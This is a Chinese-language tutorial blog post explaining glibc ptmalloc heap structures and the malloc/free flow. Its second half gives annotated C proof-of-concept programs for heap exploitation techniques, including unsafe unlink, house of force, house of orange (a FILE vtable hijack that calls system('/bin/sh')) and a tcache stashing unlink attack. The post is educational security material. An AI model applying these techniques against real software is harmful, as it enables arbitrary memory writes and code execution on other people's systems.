ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

linux的堆管理及攻击(ptmalloc)

2022-05-16 15:01:28  阅读:232  来源: 互联网

标签:ptmalloc bin malloc 攻击 chunk bk linux stack size


堆基础

堆简介

(部分参考与libc源码)
不同的平台有不同的堆内存管理机制,比如:

管理机制对应的相关的平台
dlmalloc General purpose allocator
ptmalloc2 glibc
jemalloc FreeBSD and Firefox
tcmalloc Google
libumem Solaris

本来linux默认的是dlmalloc,但是由于其不支持多线程管理,后来被支持多线程的ptmalloc2代替了。接下来的内容都是基于ptmalloc机制进行的堆管理和攻击。

ptmalloc进行堆分配时有两种方式:brk和mmap。brk分配的堆区由libc管理,在程序结束之前不会返还给操作系统,mmap分配的堆区在使用后会直接munmap返回给系统。

但是也有特例:(glibc malloc 直接mmap的情况)

1.非main_arena区域和它的堆直接通过mmap进行映射

2.申请的chunk大小超过mp_.mmap_thrshold,导致large bin和top都不能满足的情况。

上面提到了几个概念:

chunk:堆块,堆结构中最基本的单元,每一个堆块对应一个chunk,对应结构体malloc_thunk。ptmalloc进行堆管理,可以将堆分成三类:allocated chunk (已分配的),free chunk (空闲的),top chunk (顶部chunk)。

bin:用于组织管理空闲堆块的链表结构

top:堆区的头部,实质为一个chunk,记录着剩下的未分配的堆空间的大小(不包含已经free但是还在bin中管理着的空闲堆块)

main_arena: 结构体malloc_state 的一个实例,用于组织各种bin链和堆分配信息,main_arena在一个进程中只存在一个,其余的malloc_state为非main_arena,比如线程中的malloc_state结构

堆相关结构体

struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
/*
* prev_size和size分别代表前一个chunk的大小和当前chunk的大小
* fd和bk分别指向上一个和下一个空闲chunk的起始地址
* fd_nextsize和bk_nextsize只在large bin中才会生效,其余的chunk bin不适用这两个指针
* 因为chunk按照0x1000对齐,所以size的后三位用来作为标志位,判断chunk是否被分配,是否mmap分配的,前面是否有堆块(这个决定pre_size位是否生效)
* malloc申请的chunk返回地址并发chunk的起始地址,而是fd指针所在的地址,pre_size既属于当前chunk的头,又属于上一个chunk的数据部分
* 注:glibc最开始会申请一块大的堆内存块用于进程中的malloc进行分配,此堆块地址为连续的
* 在通过malloc和free将这个大的连续堆块分配成了不连续的小块
* 其中free掉的部分被malloc_state中的bin链进行管理,故bin链中的内存地址不一定是连续的
* 这个能解释为什么有pre_size和size形成的隐式链以后还有fd和bk来进行chunk的连接
*/



struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];  // fast bin
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
}
/*
* malloc_state根据空闲堆块的大小来进行堆块的管理,分为fastbin,small bin,unsorted bin和large bin四种空闲链表,其中fastbin位于fastbinsY[NFASTBINS],剩下三种bin统一在bins[NBINS * 2 - 2]中进行管理,通过binmap[BINMAPSIZE]来区分某个bin是否存在空闲链表
* fast bin共10个链表,free时chunk会根据的大小进行分类,分到fast bin不同的bin中,fast bin中的空闲chunk的size位的presize不会被初始化,防止堆块的合并,提高分配效率。fast bin为单链,故每次分配都是先入后出。起始bin的chunk大小为32字节,每个bin增加16字节。一些资料上说每个bin上面的chunk最多十个,这个我在ubuntu 16.04上面测试发现是超过这个值的,估计不触发合并就应该没有上限
* unsorted bin:未整理的bin,堆块被释放后优先放到unsorted bin (不适合放到fast bin的chunk,目的是能够有第二次机会重新利用最近释放的chunk),在下一次malloc到来之时,匹配优先级:fast->small->unsorred ->large->top->mmap->分配失败,如果满足条件,则切割,分配,切割后剩余部分继续留在unsorted bin.不满足则按照大小分到fast/small/large bin中。采用fifo分配
* small bin:共62个bins,第一个chunk大小为32字节,每个chunk的大小是8(64位16字节)字节,每个bin中的chunk大小固定。采用fifo
* large bin:共63个bin,存放大的chunk,每条bin中的chunk大小可以不一致,但按照从大到小的顺序成链(通过链fd_nextsize和bk_nextsize实现)
*/

  

 

前面提到,glibc之前并不是用ptmalloc来进行堆管理的,为了支持多线程,而使用了ptmalloc,此时需要用到一个结构体: _heap_info

typedef struct _heap_info {
mstate ar_ptr; /* 这个heap所在的arena */
struct _heap_info *prev; /* 上一个heap */
size_t size; /* 字节为单位的当前大小 */
char pad[-5 * SIZE_SZ & MALLOC_ALIGN_MASK]; /* 用于对齐 */
}heap_info;
/*
* ar_ptr指向其对应的arena,typedef struct malloc_state * mstate
* prev指向前一个heap_info结构
*/
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

故将heap_info、malloc_state等连接起来可以得到ptmalloc中堆的具体结构(图来自网络):

main_arena和只含有一个 只有一个Heap info的 thread arena

在这里插入图片描述
在这里插入图片描述

1.main_arena中不含有heap_info,这是进程的整体堆管理
2.线程的堆管理存在heap_info结构,通过heap_info去指向线程本身的malloc_state
3.线程的堆通过mmap获取,而进程的堆在glibc中直接通过brk申请
4.每个线程都有自己的thread arena,一个arena可以有多个mmap的堆段组成
5.线程的arena进行chunk分配时通过mprotect模拟子堆的增长
6.当新线程产生时,会将一个arena附加到新线程,以减少新线程进行malloc和free等操作进行不必要等待
7.arena数量有限,为8*cpu-core
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

malloc 和 free过程

malloc

1.进程第一个调用malloc时,则需要进行一次初始化chunk size + 128k并按照4k对齐的空间作为初始化堆,且位于main_arena
2.若已经有arena,则计算实际所需的chunk大小
3.判断chunk.size < max_fast,小于则取fast bin中获取chunk,找到则分配成功,失败则进入下一步
4.失败匹配small bins(size 在small bin区间),成功则分配,失败则触发合并(fast的合并bin)。
5.查找unsorted bin(size不在small bin区间或者small bin分配失败)。
	(1)若所需大小为small bin,且unsorted bin中只含有唯一一个chunk,则拆分unsorted bin,然后将剩下的继续留在unsorted bin。然后直接返回
	(2)若所需大小不为small bin,fast chunk合并到unsorted bin。
	判断unsorted bin中的chunk,大小刚好适合则分配并返回。
	其他情况,将unsorted bin中剩下的chunk,然后根据大小放到对应的chunk (small/large),此过程和所需chunk的size无关
6.判断是否large bin,然后从中分配。可以拆分,剩余部分放到unsorted bins
7.如果large失败,从top中取
	large 分配时从小到大搜索,每个bin的第一个为最大的size,从large bin拆分后剩余部分放到unsorted bin并设置last_remainder
8.top失败,进行mmap获取
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

free

1.如果≤fast的最大size,尝试加到fast bin
2.如果不是fast bin的,则检查是否mmap的
3.非mmap的内存,放到unsorted bin.(放之前会检测是否位于top chunk,是则直接和top合并)
4.然后检查是否有合并,有合并则合并。合并后检查top chunk的大小是否大于mmap阈值,如果是,对于main_arena,会试图归还top chunk的一部分给操作系统
5.fast bin中的chunk如果有合并,合并后放到usorted bin中
6.mmap的chunk直接munmap
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

堆攻击

unsorted bin into stack

unsorted bin为双链结构,其分配过程为

victim = unsorted_chunks (av)->bk // 找到unsorted bin的第一个chunk
bck = victim->bk;
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
// 从代码可以看出,申请空间victim以后,unsorted bin的bk指向了victim的bk,victim的bk的fd指向了unsorted bin
 
  • 1
  • 2
  • 3
  • 4
  • 5

攻击利用

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};// fake chunk
intptr_t* victim = malloc(0x100); // 申请一个0x100的chunk
intptr_t* p1 = malloc(0x100); // 防止顶部堆块合并
free(victim);// 释放victim,此时victim被放到unsorted bin (0x100+MINISIZE超过了fastbin的区间)
stack_buffer[1] = 0x100 + 0x10;// stack_buffer->size = 0x110 (need_size+head_size)
stack_buffer[3] = (intptr_t)stack_buffer; // stack_buffer->bk = stack_buffer,绕过检查
// stack_buffer为栈空间数据,将其构造成一个伪造的chunk
victim[-1] = 32;// victim->size = 32
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
// 修改victim的size字段和bk指针,将size改成0x20,bk指向伪造的栈 chunk地址
char *p2 = malloc(0x100);// p2 == stack_var
// 再次malloc 0x100空间时,由于victim的size被改变为0x20,所以将victim整合到small bin,再从victim的bk中去找合适的空间
// 此时找到了伪造的栈chunk,且大小刚刚好,故将栈上的空间申请了出来,即stack_buffer
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
// 将恶意函数地址复制到stack_buffer某个能被执行到的位置,即可实现绕过canary进行攻击
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

图解

在这里插入图片描述

unsorted bin attack

此方法主要是用于泄露libc的地址

攻击利用:

#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var=0;
unsigned long *p=malloc(0x410);
malloc(500);//防止堆块与top发生合并
free(p);// p所在chunk被整合到unsorted bin
p[1]=(unsigned long)(&stack_var-2); // 伪造p->bk
// 因为p和stack_var是栈上两个连续的变量,故它们的地址是连续的
// 故stack_var->bk  == p
// 又p->bk == stack_var-2
// 故stack_var->bk->bk == stack_var-2,绕过了地址检测
malloc(0x410);// 此时再将p申请出来,由于p的bk被伪造,故可以将stack_var的fd指向unsorted bin-2的地址从而暴露libc信息。即暴露的地址为top的地址
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

unsafe unlink

unlink是空闲的chunk在合并和被malloc时的解链过程,这个过程如果存在漏洞,可以通过堆溢出实现任意地址读写

攻击利用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
int malloc_size = 0x80;
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //申请第一个chunk
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //申请第二个chunk
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
// chunk0_ptr指向的值为chunk0的body的地址,不包含chunk 头,故chunk0_ptr为伪造的chunk的起始地址(包含伪造头)
// fake_chunk->fd = &fake_chunk-0x18 , 也就是说fake_chunk->fd->bk = fake_chunk
// a[2] = a-3 = b;b[3] = b+3 = a;a->fd->bk = a
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
//同理可得:fake_chunk->bk = &fake_chunk-0x10, 即fake_chunk->bk->fd = fake_chunk
// 综上两步可以伪造并绕过检测:p->fd->bk = p,p->bk->fd = p
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;// 伪造presize,即newsize + 0x10 = size
chunk1_hdr[1] &= ~1; // 伪造previous in use 标志为0
free(chunk1_ptr); // free 触发两个块unlink
// 修改chunk2的数据,实现在free时触发chunk1和chunk2的合并

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
    /**
     * unlink 以后内存布局 
     * 1.&chunk0_ptr == &chunk0_ptr[3]  chunk0_ptr == chunk0_ptr[3],即chunk0_ptr 变成了 &chunk0_ptr-3
     * 2.所以,chunk0_ptr[3] == &chunk0_ptr[0]
     * 3.修改chunk0_ptr[3]的值,即可修改chun0_ptr所指向的地址
     * 4.即chunk0_ptr所指向地址变成了victim的地址
     * 5.此时修改chunk0_ptr[0]的值,就会成功修改到victim的值
     * 6.第三步导致chunk0_ptr的值改变后,&chunk_ptr[3]不再和chunk0_ptr指向同一个地址
     */
chunk0_ptr[0] = 0x4141414142424242LL;// chunk_ptr[0] = victim_string
fprintf(stderr, "New Value: %s\n",victim_string);
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

unlink 过程

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
fd->bk = bk;
bk->fd = fd;
// 即 p->fd->bk = p->bk,p->bk->fd = p->fd
// 向前合并,丢弃当前块
// 向后合并,丢弃后面块
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

图解:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

此时通过修改chunk0_ptr[3]的内容为要读写的地址addr,实际上修改的是chunk_ptr所指向的内容。修改完以后,chunk0_ptr的指针恢复正常,再次对chunk0_ptr[0]进行读写,则实际上是对addr的读写

house of einherjar

攻击利用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
// 禁用缓冲区
setbuf(stdin, NULL);
setbuf(stdout, NULL)
// 初始化数据
uint8_t* a;
uint8_t* b;
uint8_t* d;
// 分配0x38的a
a = (uint8_t*) malloc(0x38);
int real_a_size = malloc_usable_size(a);
size_t fake_chunk[6];
// 制造一个假块
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
// malloc 一个0xf8的块,其真实大小为0x100
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
// 覆盖b的pre_size为fake size
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
// 修改fake_chunk的size字段
fake_chunk[1] = fake_size
free(b); // 触发fake 和 b的合并
// 再次malloc将会把fake chunk申请出来
d = malloc(0x200);
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

如图

在这里插入图片描述

house of force

攻击利用:

#include<stdio.h>
#include<malloc.h>
#include<unistd.h>
#include<string.h>
int main(){
long stack_var[10];
long *p = malloc(0x10);
*(p+3) = -1;// 溢出到top的size为-1,即0xffffff,作为无符号整数时,该值为地址最大的值
long size = (long)stack_var-(long)p; // 计算var到p的距离
//  (long)stack_var-(long)(p-6);
size = size-0x30;// 要申请的size
// 为什么要-0x30
/** 1.-top chunk的head  2. -要申请出来的chunk的头 3.满足(2)以后,top指向var,要想将var的地址申请出来,需要-0x10,即var chunk的head*/

long *s = malloc(size);
// 申请完s,top位于var-0x10
p = malloc(0x10);
// p的地址就为var的地址,若var为要攻击的地址,则,可以实现对要攻击的地址的任意读写
return 0;
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

图示

在这里插入图片描述

double free

double主要在fast bin上进行攻击,因为fast bin为单链,且安全检查不够严格,故double free很容易实现,这里列一下过程:

1.申请一个chunk a,一个chunk b,chunk 大小相同且在0x20-0x80之间,这样能让两个chunk 在同一条fast bin
2.先free a,再free b,再free a,目的是绕过检测,因为glibc中会判断当前free的chunk和fast bin中的上一个chunk是否同一个,这样中间插一个b chunk就能绕过了
3.malloc a,然后修改a->fd为要攻击的地址addr
4.malloc b
5.再次malloc a,此时会将chunk 中的a再次申请出来
6.再次malloc即可得到要攻击的地址addr
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

图示

在这里插入图片描述

无free的堆攻击:hourse of orange

一般想要利用堆进行攻击,都会用到free将堆释放到arena结构的bins中,然后通过再次申请,伪造堆块实现攻击。但如果遇到没有free的情况,往往进行堆攻击是比较困难的,hourse of orange利用的是替换文件i/o流函数指针的方式,实现攻击。

攻击利用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);

int main()
{
char *p1, *p2;
size_t io_list_all, *top;

p1 = malloc(0x400-16);
// 计算top所在的地址
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;// 修改top的size,将其改小
// top size 必须是对齐内存页的
// top size的pre位必须为1

p2 = malloc(0x1000);// 申请size>修改后的top size,但是<mp_.mmap_threshold的size
// 避免调用mmap申请内存
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10; // 将io_list_all的地址写到top chunk的bk

// 作为hook后函数的参数
memcpy( ( char *) top, "/bin/sh\x00", 8);

// 伪造通过伪造top实现伪造_IO_FOLE结构
top[1] = 0x61;// 伪造top的size,下次malloc时将其整合到small bin[6]
// io_list_all偏移0x60的位置恰好是_chain
// 配置伪造io_list_all,通过控制top的内容控制该结构

/**触发:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	  || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)
*/
top[24] = 1;// 伪造fp->_mode > 1
top[21] = 2;// fp->_wide_date->_IO_write_base
top[22] = 3;// fp->_wide_date->_IO_write_ptr

top[20] = (size_t) &top[18];// 替换 _IO_WIDE_DATA 
top[15] = (size_t) &winner;// hook jmp table的第四个值为hook函数
top[27] = (size_t ) &top[12]; // hook jmp table
malloc(10);
return 0;
}

// 用于攻击的函数
int winner(char *ptr)
{
system(ptr);
return 0;
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51

图解:

在这里插入图片描述
在这里插入图片描述

large bin 攻击

large bin的组织方式:

在这里插入图片描述

large bin是按照从小到大的顺序排列的,一条bin链中的chunk 大小并不完全一样,处于一个范围区间。大小相同的chunk 共用一个头,只有头的fd_nextsize和bk_nextsize才会生效

攻击利用:

因为large bin 含有两条链,故可以实现两个任意地址的读写:

#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long stack_var1 = 0;// 要攻击的地址1
unsigned long stack_var2 = 0;// 要攻击的地址2
unsigned long *p1 = malloc(0x320); // 申请第一个large chunk
malloc(0x20);// 申请一个小chunk 避免合并
unsigned long *p2 = malloc(0x400);// 第二个large chunk
malloc(0x20);// 小chunk 避免合并
unsigned long *p3 = malloc(0x400);// 第三个large chunk
malloc(0x20);// 小chunk
free(p1);
free(p2);
malloc(0x90);// 先将p1,p2整合到large bin,然后再将p1切割,剩下部分放到unsorted bin
free(p3);// 释放p3,p3被放到unsorted bin
p2[-1] = 0x3f1;// p2.size < p3.size ,3f1 < 411
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);// p2->bk = stack_var2[-2] ,stack_var1 = addr1->fd
p2[3] = (unsigned long)(&stack_var2 - 4);// p2->bk_nextsize = stack_var2[-4], stack_var2 = addr2->fd_nextsize
// 触发large bin合并时,会触发两个任意地址读写:addr1 和 addr2
malloc(0x90);// 触发large bin的链接,先将p1合并到large bin,再将p3合并到large bin,再切割p1
// 此时p3合并到p2之前
// 因为p2的size<p3的size,而构造的stack_var2-4的chunk的size,即p2->bk_nextsize->size在内存中
// 的值 > p3->size,故p3插入到p2和stack_var2-4之间,不会改变large bin的fd和bk指针
// 但p3的bk和bk_nextsize指向了stack_var1-2和stack_var2-4,同时stack_var1-2->fd == stack_var1 == p3 chunk的地址,stack_var2-4->fd_nextsize == stack_var2 == p3 chunk的地址
// 故stack_var1和stack_var2的值都变成了p3的地址
// 实现了两次任意地址读写
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

tcache 机制

由于线程要进行堆申请时,需要通过arena来获取,而每个arena都通过获取锁来占用,这样,如果通过fast bin进行堆分配,对锁指令的执行会占用分配相当大的一部分时间,且锁资源非常珍贵。为了加快堆分配的速度,在libc 2.26以后引入了tcache机制。

tcache有如下机制:

1.tcache 也通过单链进行管理,故针对fast bin能够生效的攻击基本上也适用于tcache,比如double free
2.每个线程默认的tcache有64个bin,每个bin包含最多七个chunk
3.每条bin中的chunk 大小完全相等
4.malloc申请时,优先从tcache中获取chunk
5.当申请的chunk是从fast/small/large bin时,会将三个bins中剩余chunk整合到tcache,直到tcache 对应的链中存在七个chunk或者三个bins对应的bin为空
6.如果申请的堆块来自unsorted bin,切割unsorted bin以后剩余部分继续留在unsorted bin
7.tcache没有锁机制,且对链的检查比fast bin还不严格
8.当使用calloc申请内存时,不会使用tcache机制
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

tcache stashing unlink attack

攻击利用:

#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};// 通过指针数组管理堆指针
unsigned long *target;
stack_var[3] = (unsigned long)(&stack_var[2]);
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);// 申请九个chunk
}
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);//释放4-9共六个chunk到tcache
}
//last tcache bin
free(chunk_lis[1]); // 最后一个tcache
//now they are put into unsorted bin
// chunk_lis[0 & 2]被分配到unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
// 申请一个大于前面几个chunk的内存,将chunk_lis[0 & 2]合并到small bin
malloc(0xa0);//>0x90
// 申请两个chunk,此时从tcache中分配,tcache只剩5个,small bin还剩两个
malloc(0x90);
malloc(0x90);
// 修改chunk_lis[2]的bk指针,由于bins采用lifo的方式进行chunks管理,所以这里chunk_list[2]->fd 指向small bin。
chunk_lis[2][1] = (unsigned long)stack_var;// 修改chunk_list[2]的fd为伪造的chunk
/**
* calloc 在分配时不会触发tcache,且当tcache非满时,同大小的small bin会被放进tcache
* 在这个过程中只对当前calloc的chunk进行了完整性检查,后面堆块的检查缺失。
* 当攻击者可以写进一个small bin的bk时,其可以在任意地址上写一个libc的地址
* 构造得当的情况下也可以分配fake chunk到任意地址
*/
calloc(1,0x90);
target = malloc(0x90);
fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

图解:

在这里插入图片描述

 

标签:ptmalloc,bin,malloc,攻击,chunk,bk,linux,stack,size
来源: https://www.cnblogs.com/peifx/p/16276943.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有